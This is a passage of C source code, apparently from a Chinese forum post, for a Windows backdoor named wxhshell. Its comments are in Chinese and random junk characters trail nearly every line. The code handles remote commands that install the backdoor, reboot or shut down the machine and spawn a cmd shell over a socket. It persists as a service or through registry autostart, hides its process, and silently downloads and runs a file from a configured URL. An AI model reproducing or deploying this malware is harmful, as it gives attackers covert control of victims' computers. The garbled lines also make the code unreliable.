  // 帮助 5bAy@n  
  case '?': { !W6]+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [#.QDe  
    break; .NPai4V'  
  } m*(8I=]q  
  // 安装 ed617J  
  case 'i': { ]v+\v re  
    if(Install()) -Z#A}h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wWH5T}\  
    else f6z[k_lLN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O/FQ'o1F  
    break; KI# hII[Q.  
    } ~< k'{  
  // 卸载 Va{`es)hky  
  case 'r': { _kar5B$  
    if(Uninstall()) 7wZKK0;T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VbZZ=q=Kd  
    else :*\JJ w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iz  ,C!c  
    break; \oaO7w,:"  
    } yDHH05Yl  
  // 显示 wxhshell 所在路径 p( z.[  
  case 'p': { [rf.P'p%  
    char svExeFile[MAX_PATH]; {>syZZ,h  
    strcpy(svExeFile,"\n\r"); HtXzMSGo7  
      strcat(svExeFile,ExeFile); $cYh X^YG.  
        send(wsh,svExeFile,strlen(svExeFile),0); x=9drKIw>  
    break; B>JRta;hj  
    } iptzVr#b[  
  // 重启 Bf8 #&]O  
  case 'b': { UD .$C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V RT| OUq  
    if(Boot(REBOOT)) 0(64}T)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -l^u1z  
    else { 2o6%P}C  
    closesocket(wsh); 0dXWy`Mn  
    ExitThread(0); l.FkX  
    } 7=}`"7i~  
    break; X\uN:;?#W{  
    } X62GEqff  
  // 关机 h19c*,0z!  
  case 'd': { yv&&x.!.Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GsxrqIaD  
    if(Boot(SHUTDOWN)) >NK*$r8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Azv VSA,  
    else { wOn.m  
    closesocket(wsh); Ij4oH  
    ExitThread(0); 6>zO"9  
    } ;QS-a  
    break; U+URj <)  
    } y&UcTE2;%(  
  // 获取shell bF<FX_}!s!  
  case 's': { jq%Qc9y  
    CmdShell(wsh); A-qdTJP  
    closesocket(wsh); )}tI8  
    ExitThread(0); ~CQsv `  
    break; ;3 O0O  
  } KHI-m9(  
  // 退出 %;~Vc{Xxt/  
  case 'x': { X6kCYTJYF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3* 1cCM42  
    CloseIt(wsh); j!F5gP-l  
    break; "sdzm%  
    } V+(1U|@~  
  // 离开 r ".*l?=  
  case 'q': { z;J"3kM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }CIH1q3P  
    closesocket(wsh); JUHmIFjZ  
    WSACleanup(); K)QM xn  
    exit(1); k+t?EZ6L  
    break; [vrM,?X  
        } \QGh@AQp"  
  } B<%cqz@  
  } &@<Z7))  
C8W#$a  
  // 提示信息 F0(P 2j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?0*,x)t  
} D=Jj!;  
  } 98'/yZ  
UuPXo66F ]  
  return; > mk>VM  
} LDc?/ Z1  
W|'7)ph  
// shell模块句柄 lJb1{\|.,  
int CmdShell(SOCKET sock) xq$(=WPI  
{ 3CcCcZ9I  
STARTUPINFO si; Gj!9#on$7R  
ZeroMemory(&si,sizeof(si)); A{NKHn>%`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4&N#d;ErC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pw+PBIGn4  
PROCESS_INFORMATION ProcessInfo; JbX"K< nQ  
char cmdline[]="cmd"; Mu: y9o95  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }:+SA  
  return 0; QP>tu1B|  
} *hWpJEV  
\no6]xN;  
// 自身启动模式 RGg=dN  
int StartFromService(void) x$hhH=  
{ Bm"-X:='  
typedef struct SbLm  
{ n#$sLXVy  
  DWORD ExitStatus; 5ir Ffr  
  DWORD PebBaseAddress; L)(JaZyV5  
  DWORD AffinityMask; 1V ,Mk#_  
  DWORD BasePriority; 7M8oI.?C|  
  ULONG UniqueProcessId; yzyBr1s  
  ULONG InheritedFromUniqueProcessId; RD6n1Wb(@  
}   PROCESS_BASIC_INFORMATION; Cfs2tN  
vG'6?%38  
PROCNTQSIP NtQueryInformationProcess;  3-~*  
_nwsIjsW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $/p0DY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {#`O'F>  
pmwVVUEQ  
  HANDLE             hProcess; c~``)N  
  PROCESS_BASIC_INFORMATION pbi; f4 k  
e'I/}J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (/gv U80  
  if(NULL == hInst ) return 0; c V$an  
11VtC)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `^v=*&   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |qs8( 5z0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *jR4OY|DXH  
[g<Y,0,J  
  if (!NtQueryInformationProcess) return 0; I|n? 32F  
=y^`yv 3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \qf0=CPw8  
  if(!hProcess) return 0; kz_gR;"(Z  
z( \4{Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M}fk[Yr>  
ThvgYv--B  
  CloseHandle(hProcess); 2t7P| b~V1  
y`,;m#frT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /9pN.E  
if(hProcess==NULL) return 0; 'GI| t  
8KyRD1 (-R  
HMODULE hMod; J5TT+FQ  
char procName[255]; dzQs7D}  
unsigned long cbNeeded; ,B~5;/ |  
,xw1B-dx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m]+~F_/  
WKAG)4  
  CloseHandle(hProcess); ;FGS(.mjlC  
))%f"=:wt  
if(strstr(procName,"services")) return 1; // 以服务启动 bey:Qj??  
{^D; ($lm  
  return 0; // 注册表启动 4^Ss\$*  
} Z;O!KsJ  
8NkyT_\  
// 主模块 KpBOmXE  
int StartWxhshell(LPSTR lpCmdLine) a<0q%A x  
{ ExhK\J  
  SOCKET wsl; 0GlQWRa  
BOOL val=TRUE; /a*8z,x  
  int port=0; *sQ.y {  
  struct sockaddr_in door; =8v NOvA  
4_D *xW  
  if(wscfg.ws_autoins) Install(); (mr*Thy`@  
p()q)P  
port=atoi(lpCmdLine); d"yJ0F  
IL`LI J:O  
if(port<=0) port=wscfg.ws_port; 1N_T/I8_F  
<&^[?FdAa  
  WSADATA data;  aGOS 9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R4X9g\KpAt  
x<`^4|<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b<!' WpY-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {Q>4zepN!  
  door.sin_family = AF_INET; rK3KxG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [p' A?-  
  door.sin_port = htons(port); nuDu  
EKO~\d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H<}|n1w<  
closesocket(wsl); .820~b0  
return 1; x ;~;Ah.p  
} A;5_/ 2  
T+x / J]A  
  if(listen(wsl,2) == INVALID_SOCKET) { M3elog:M  
closesocket(wsl); yZ!~m3Q  
return 1; fs yVu|G  
} s$zm)y5  
  Wxhshell(wsl); 7NT0]j(w-  
  WSACleanup(); %y\5L#T!>  
[NJ2rQ/w7  
return 0; sPb}A$'  
C:t?HLY)fG  
} w#hg_RK(Jr  
8KN 3|)  
// 以NT服务方式启动 (&87 zk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VxS3lR=  
{  3Z`"k2k  
DWORD   status = 0; $a8,C\m e?  
  DWORD   specificError = 0xfffffff; wd32q7lGo1  
e`U 6JzC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AbhR*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F+*fim'NK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $m~&| s  
  serviceStatus.dwWin32ExitCode     = 0; tBfmjxv  
  serviceStatus.dwServiceSpecificExitCode = 0; Qd\='*:!  
  serviceStatus.dwCheckPoint       = 0; {chZ&8)f  
  serviceStatus.dwWaitHint       = 0; mI{Fs|9h  
1=5HQ~|[TO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aeI0;u  
  if (hServiceStatusHandle==0) return; h)fsLzn]Tf  
jjQDw=6  
status = GetLastError(); L1I1SFG  
  if (status!=NO_ERROR) B6;>V`!  
{ _&\'Va$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qy.$5-e:[9  
    serviceStatus.dwCheckPoint       = 0; i].E1},%  
    serviceStatus.dwWaitHint       = 0; ^&C/,,U  
    serviceStatus.dwWin32ExitCode     = status; Y>/_A%vQU  
    serviceStatus.dwServiceSpecificExitCode = specificError; j1qU 4#Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h~]e~u V  
    return; E:M,nSc)53  
  } < `"  
KM)f~^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v4Rci^8  
  serviceStatus.dwCheckPoint       = 0; !W8=\:D[  
  serviceStatus.dwWaitHint       = 0; ||*F. p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E9>z.vV   
}  K> 4w  
) 3"!Q+  
// 处理NT服务事件,比如:启动、停止 kvbW^pl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]|PTZ1?j  
{ 62,dFM7  
switch(fdwControl) _EP]|DTfr  
{ Li|~%E1  
case SERVICE_CONTROL_STOP: <QFayZ$  
  serviceStatus.dwWin32ExitCode = 0; qD\9h`a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %i/|}K  
  serviceStatus.dwCheckPoint   = 0; l,]%D  
  serviceStatus.dwWaitHint     = 0; D&"lu*"tg  
  { LTzdg >\oJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J ;z`bk^  
  } Hcg7u7M{  
  return; xR%NiYNQz  
case SERVICE_CONTROL_PAUSE: gCPH>8JwS0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6lg]5d2CD  
  break; ~!2fUewEu  
case SERVICE_CONTROL_CONTINUE: onRTX|#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HBvyX`-  
  break; kZF<~U  
case SERVICE_CONTROL_INTERROGATE: 4t }wMOR  
  break; elhP!"G  
}; hZ>m:es  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G%l')e)9Gq  
} PDw+Q  
,q#SAZ/N  
// 标准应用程序主函数 b/m.VL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gvdok<o  
{ D6?h 6`J  
i}C%8} %  
// 获取操作系统版本 +FadOx7X$  
OsIsNt=GetOsVer(); ;>6~}lMgJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y7g%nz[[  
;a@riPqx!  
  // 从命令行安装 !lFNG:&`  
  if(strpbrk(lpCmdLine,"iI")) Install(); |y0k}ed  
2bw) , W  
  // 下载执行文件 BH~zeJ*Pr  
if(wscfg.ws_downexe) { z a_0-G%C2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \}.bTca  
  WinExec(wscfg.ws_filenam,SW_HIDE); <XDnAv0t  
} /*BU5  
Ut'T!RD  
if(!OsIsNt) { ic!% }S?  
// 如果时win9x,隐藏进程并且设置为注册表启动 T+B-R\@t  
HideProc(); l(_|CkcZ  
StartWxhshell(lpCmdLine); $)KODI>|  
} 2p;I<C:Eo  
else 2BF455e   
  if(StartFromService()) iJoYxx  
  // 以服务方式启动 0nD?X+u  
  StartServiceCtrlDispatcher(DispatchTable); O#[bNLV  
else <Rn-B).3bs  
  // 普通方式启动 `w >D6K+  
  StartWxhshell(lpCmdLine); (gVN<Es  
Q=DMfJ"  
return 0; ,\&r\!=  
}
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只看该作者 1 发表于: 2006-10-10
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